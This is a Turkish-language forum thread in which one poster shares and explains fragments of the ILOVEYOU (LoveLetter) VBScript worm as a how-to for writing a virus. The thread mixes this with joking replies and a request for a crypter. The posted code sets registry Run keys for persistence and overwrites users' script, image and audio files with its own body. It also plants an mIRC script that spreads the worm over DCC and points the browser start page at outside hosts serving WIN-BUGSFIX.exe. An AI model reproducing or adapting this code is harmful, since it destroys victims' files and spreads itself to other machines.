beyler gaza geldim bilgisayar virüsü

@16 o ne amk ya o nedir lan?

ya sen bu ocx'leri de yazmalısın onları daha sonra embedded yapacaksın. o ocx'leri ancak win xp'lere yedirirsin ee 7 de yer hadi ama 8 nasi yicek bu ne amk. vb ve vbs mi kaldı lan.

evet beyler kodları vermeye başlıyorum tamdıbını text doyasını açıp yazın ve uzattısını .bat olarak değiştirin ve programı inceleyin

panpa ödevim olursa yaparsın artık seni listeme aldım uğrarım bi ara

hocu sality ve brontok'un kaynak kodları var mı

lan bi gibtir git i love you virusunun kodlarini bulmus onu millete kakaliyor

c++ yaz panpa

dinliyoruz usta

neyce konusuyonuz lan

buda ayrı bir classımız
if (fileexist(downread&"WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunWIN-BUGSFIX",downread&"WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&""&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine "; http://www.mirc.com" ;
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if

cout<<"hello world";

" http://www.skyinet.net/~koichi/jf6tr ... nmpohfger67b3v bvg/win-bugsfix.exe" şöyle birşey görüyorsunuz bu hangi siteden virusu yayacağınızı belirtiyor bu site değişik olabilir

burda exe tipinde virüsümüzü artık hayata geçiriyoruz sizin anlayacağınız şekliyle
• **
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"MSKernel32.vbs")
c.Copy(dirwin&"Win32DLL.vbs")
c.Copy(dirsystem&"LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunMSKernel32",dirsystem&"MSKernel32 .vbs"
regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindows Cur rentVersionRunServicesWin32DLL",dirwin&"Win32DL L.vbs"
downread=""
downread=regget("HKEY_CURRENT_USERSoftwareMicros oftInternet ExplorerDownload Directory")
if (downread="") then
downread="c:"
end if
if (fileexist(dirsystem&"WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~young1s/HJKh ... jw6587345gvsdf 7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~angelcat/skl ... 546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~koichi/jf6TR ... nmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page"," http://www.skyinet.net/~chu/sdgfhjks ... DGjkhYUgqweras djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy 7thjg/WIN-BUGSFIX.exe"
end if
end if

stdio.h

@17 artisliğini gibliyim senin phpni $echo yazmayı biliyon bin beni yorma yazıyoruz işte mantık aynı

@15 bin *

php yaz lan gibtir et visuali

Burası önemli şimdi host saldırımızı belirliyoruz kodlar aşağıda
---
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript. Shell")
rr=wscr. RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
wscr. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
---
eğer kayıt defterini açarsanız bunları görürsünüz

bilgisayara zararlı bir virüs yazacağına 2 crypter yaz gönderde işimize yarasın

burda scripleri ve yolları bellirlemek ve readall ile okunuşları belirliyoruzbu ne diye sormayın amk size computer theory yeniden anlatamam *

kod yazıp size cevap vermek zor oluyor beyler
aşağıdaki koddu açıklayacam
eq=""
ctr=0
Set fso = CreateObject("Scripting. FileSystemObject")
set file = fso. OpenTextFile(WScript. ScriptFullname,1)
vbscopy=file. ReadAll
main()